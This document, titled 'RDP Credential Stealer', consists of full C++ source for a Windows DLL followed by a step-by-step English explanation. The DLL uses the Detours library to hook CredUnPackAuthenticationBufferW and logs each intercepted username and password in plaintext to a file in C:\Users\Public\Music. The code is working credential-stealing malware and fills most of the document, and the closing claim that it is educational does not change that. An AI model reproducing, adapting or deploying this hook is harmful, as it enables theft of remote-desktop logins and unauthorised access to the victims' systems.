RDP Credential Stealer

C++ Code

```cpp
#include <windows.h>
#include <wincred.h>
#include "pch.h"
#include <detours.h>
#include <fstream>
#include <codecvt>
#include <locale>


// Definición del puntero a la función original
typedef BOOL(WINAPI* CredUnPackAuthenticationBufferW_t)(
    DWORD       dwFlags,
    PVOID       pAuthBuffer,
    DWORD       cbAuthBuffer,
    LPWSTR      pszUserName,
    DWORD* pcchMaxUserName,
    LPWSTR      pszDomainName,
    DWORD* pcchMaxDomainName,
    LPWSTR      pszPassword,
    DWORD* pcchMaxPassword
    );

// Declaración de la función original
CredUnPackAuthenticationBufferW_t pCredUnPackAuthenticationBufferW = NULL;

// Implementación de la función hook
BOOL WINAPI MyCredUnPackAuthenticationBufferW(DWORD dwFlags, PVOID pAuthBuffer, DWORD cbAuthBuffer, LPWSTR pszUserName, DWORD* pcchMaxUserName, LPWSTR pszDomainName, DWORD* pcchMaxDomainName, LPWSTR pszPassword, DWORD* pcchMaxPassword)
{
    OutputDebugStringA("MyCredUnPackAuthenticationBufferW Hooked Function");
    // Llamada a la función original
    BOOL result = pCredUnPackAuthenticationBufferW(
        dwFlags,
        pAuthBuffer,
        cbAuthBuffer,
        pszUserName,
        pcchMaxUserName,
        pszDomainName,
        pcchMaxDomainName,
        pszPassword,
        pcchMaxPassword
    );

    // Convertir pszUserName a std::string
    std::wstring_convert<std::codecvt_utf8<wchar_t>> converter;
    std::string username = converter.to_bytes(pszUserName);

    // Convertir pszPassword a std::string
    std::string password = converter.to_bytes(pszPassword);

    std::ofstream file("C:\\Users\\Public\\Music\\RDPCreds.txt", std::ios_base::app);
    if (file.is_open())
    {
        file << username << ":" << password << std::endl;
        file.close();
    }

    return result;
}

// Función de inicialización del hook
BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved) {
    if (ul_reason_for_call == DLL_PROCESS_ATTACH)
    {
        HMODULE hAdvapi32 = LoadLibraryA("credui.dll");
        if (hAdvapi32 != NULL) {
            pCredUnPackAuthenticationBufferW = reinterpret_cast<CredUnPackAuthenticationBufferW_t>(GetProcAddress(hAdvapi32, "CredUnPackAuthenticationBufferW"));
            if (pCredUnPackAuthenticationBufferW != NULL)
            {
                OutputDebugStringA("Installing Hooked Function");
                // Aplica el hook
                DetourTransactionBegin();
                DetourUpdateThread(GetCurrentThread());
                DetourAttach(&(PVOID&)pCredUnPackAuthenticationBufferW, MyCredUnPackAuthenticationBufferW);
                DetourTransactionCommit();
            }
            else {
                OutputDebugStringA("Error");

            }
        }
    }
    else if (ul_reason_for_call == DLL_PROCESS_DETACH)
    {
        // Deshace el hook
        DetourTransactionBegin();
        DetourUpdateThread(GetCurrentThread());
        DetourDetach(&(PVOID&)pCredUnPackAuthenticationBufferW, MyCredUnPackAuthenticationBufferW);
        DetourTransactionCommit();
    }

    return true;
}
```

This code is an example of a Windows DLL (Dynamic Link Library) that performs API hooking to intercept and log credentials entered through the Windows Credential Manager. It uses the Microsoft Detours library to hook a specific function, `CredUnPackAuthenticationBufferW`, and log the username and password to a text file.

Here's a breakdown of the code:

1. **Header Files**: The code includes several header files, including `<windows.h>`, `<wincred.h>`, `<detours.h>`, and others, to access Windows API functions and the Detours library.
2. **Function Pointer and Declaration**:
   - It defines a function pointer type `CredUnPackAuthenticationBufferW_t` for the original `CredUnPackAuthenticationBufferW` function.
   - Declares a function named `MyCredUnPackAuthenticationBufferW`, which will be used to replace the original function.
3. **Global Variables**:
   - `pCredUnPackAuthenticationBufferW`: A function pointer of type `CredUnPackAuthenticationBufferW_t` to store the original function.
4. **Hook Implementation (MyCredUnPackAuthenticationBufferW)**:
   - The `MyCredUnPackAuthenticationBufferW` function is the hook itself. It begins by calling the original `CredUnPackAuthenticationBufferW` function, capturing its return value.
   - It converts the `pszUserName` and `pszPassword` parameters from wide strings (UTF-16) to UTF-8 strings using `std::wstring_convert`.
   - It opens a file named "RDPCreds.txt" in "C:\Users\Public\Music\" and appends the captured username and password to it in the format "username:password".
5. **DllMain Function**:
   - The `DllMain` function is an entry point that gets called when the DLL is loaded and unloaded.
   - In the `DLL_PROCESS_ATTACH` case, it loads the "credui.dll" library and retrieves the address of the original `CredUnPackAuthenticationBufferW` function using `GetProcAddress`.
   - It then applies the hook using the Detours library. It starts a transaction, attaches the hook to the function, and commits the transaction.
   - In the `DLL_PROCESS_DETACH` case (when the DLL is unloaded), it detaches and removes the hook using the Detours library.

In summary, this code is an example of a DLL that intercepts and logs credentials entered through the Windows Credential Manager using API hooking. It replaces the original function responsible for unpacking authentication data, captures the username and password, and writes them to a text file. This code is intended for educational purposes and demonstrates how API hooking can be used for various purposes, including monitoring and potentially misuse if applied maliciously.